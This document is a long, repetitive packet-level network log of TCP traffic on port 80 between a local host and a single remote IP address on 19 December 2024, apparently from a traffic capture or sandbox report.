Dec 19, 2024 08:52:55.803117037 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.803263903 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.803328037 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:55.804059029 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.804183960 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.804236889 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:55.805032969 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.805186987 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.805263042 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:55.806015968 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.806116104 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.806195974 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:55.807003021 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.807101011 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.807184935 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:55.807956934 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.808062077 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.808137894 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:55.808907032 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.809041023 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.809125900 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:55.809901953 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.809993029 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.810049057 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:55.810874939 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.810972929 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.811028004 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:55.811806917 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.811872959 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.811923981 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:55.812525034 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:55.812848091 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.813055038 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.813106060 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:55.813764095 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.813879013 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.813965082 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:55.814707994 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.814822912 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.814877033 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:55.815704107 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.815792084 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.815844059 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:55.816648006 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.816761017 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.816823006 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:55.817655087 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.817761898 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.817817926 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:55.818578005 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.818705082 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.818756104 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:55.819566011 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.819686890 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.819766045 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:55.820614100 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.820827961 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.820882082 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:55.821568966 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.821692944 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.821748972 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:55.822474957 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.822593927 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.822696924 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:55.823416948 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.823525906 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.823575974 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:55.824337006 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.864063978 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:55.972799063 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.972891092 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.972971916 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:55.973191977 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.973320961 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.973397017 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:55.974153042 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.974262953 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.974318981 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:55.975155115 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.975266933 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.975374937 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:55.976092100 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.976201057 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.976252079 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:55.977057934 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.977183104 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.977233887 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:55.978032112 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.978133917 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.978185892 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:55.979002953 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.979166031 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.979217052 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:55.979958057 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.980076075 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.980127096 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:55.980909109 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.981028080 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.981082916 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:55.981892109 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.982019901 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.982062101 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:55.982857943 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.982976913 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.983020067 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:55.983820915 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.983922958 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.983994007 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:55.984775066 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.984908104 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.984985113 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:55.985766888 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.985862970 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.985917091 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:55.986730099 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.986797094 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.986843109 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:55.987653971 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.987838030 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.987884998 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:55.988727093 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.988893032 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.988960028 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:55.989723921 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.989873886 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.989921093 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:55.990613937 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.990777969 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.990819931 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:55.991571903 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.991734982 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.991782904 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:55.992598057 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.992614031 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.992667913 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:55.993486881 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.993571043 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.993613005 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:55.994446993 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.994543076 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.994648933 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:55.995412111 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.995537043 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.995604992 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:55.996409893 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.996520996 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.996565104 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:55.997329950 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.997490883 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.997540951 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:55.998325109 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.998394966 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.998462915 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:55.999319077 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.999428034 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.999470949 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:56.000236034 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.000431061 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.000472069 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:56.001287937 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.001408100 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.001450062 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:56.002207994 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.002336979 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.002381086 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:56.003204107 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.003321886 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.003376961 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:56.004110098 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.004256964 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.004300117 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:56.005206108 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.005309105 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.005378008 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:56.006079912 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.006201982 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.006251097 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:56.007126093 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.007232904 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.007277966 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:56.007973909 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.008102894 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.008146048 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:56.008944035 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.009105921 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.009227991 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:56.009973049 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.010037899 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.010092020 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:56.010889053 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.011019945 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.011085987 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:56.011888981 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.012023926 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.012088060 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:56.012856007 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.012952089 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.013004065 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:56.013803959 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.013916016 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.013981104 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:56.014781952 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.014919043 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.014971018 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:56.015737057 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.015862942 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.015918016 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:56.016721964 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.016901016 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.016951084 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:56.017664909 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.017848015 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.017905951 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:56.018671989 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.018817902 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.018868923 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:56.019665003 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.019762039 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.019818068 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:56.020556927 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.020677090 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.020725965 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:56.021534920 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.021641970 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.021697044 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:56.022511959 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.022644043 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.022706032 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:56.023421049 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.068353891 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:56.115099907 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:56.158025980 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.158099890 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.158186913 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:56.158282042 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.158421993 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.158477068 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:56.159481049 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.159660101 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.159713030 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:56.160173893 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.160356998 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.160504103 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:56.161274910 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.161439896 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.161498070 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:56.162107944 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.162224054 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.162297010 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:56.163120985 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.163219929 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.163279057 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:56.164067984 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.164141893 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.164196968 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:56.164994955 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.165132999 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.165189028 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:56.165960073 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.166083097 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.166137934 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:56.166987896 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.167241096 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.167299986 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:56.167916059 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.168006897 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.168061972 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:56.168873072 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.168991089 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.169090986 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:56.169871092 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.169962883 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.170022011 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:56.170823097 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.170897961 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.170953989 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:56.171766043 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.171875000 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.172003031 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:56.172755957 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.172887087 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.172945023 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:56.173696995 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.173863888 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.173919916 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:56.174654007 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.174767017 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.174822092 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:56.175641060 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.175775051 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.175831079 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:56.176614046 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.176852942 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.176908016 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:56.177617073 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.177741051 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.177793980 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:56.178527117 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.178617001 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.178673983 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:56.179569960 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.179666042 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.179728031 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:56.180471897 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.180594921 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.180658102 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:56.181504011 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.181559086 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.181615114 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:56.182431936 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.182532072 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.182593107 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:56.183341980 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.183535099 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.183582067 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:56.184649944 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.184740067 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.184787989 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:56.185321093 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.185400009 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.185451031 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:56.186248064 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.186343908 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.186394930 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:56.187210083 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.187354088 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.187406063 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:56.188183069 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.188285112 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.188329935 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:56.189202070 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.189277887 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.189392090 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:56.190104961 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.190228939 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.190280914 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:56.191102028 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.191184998 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.191235065 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:56.192053080 CET	80	49705	147.45.47.15	192.168.2.5
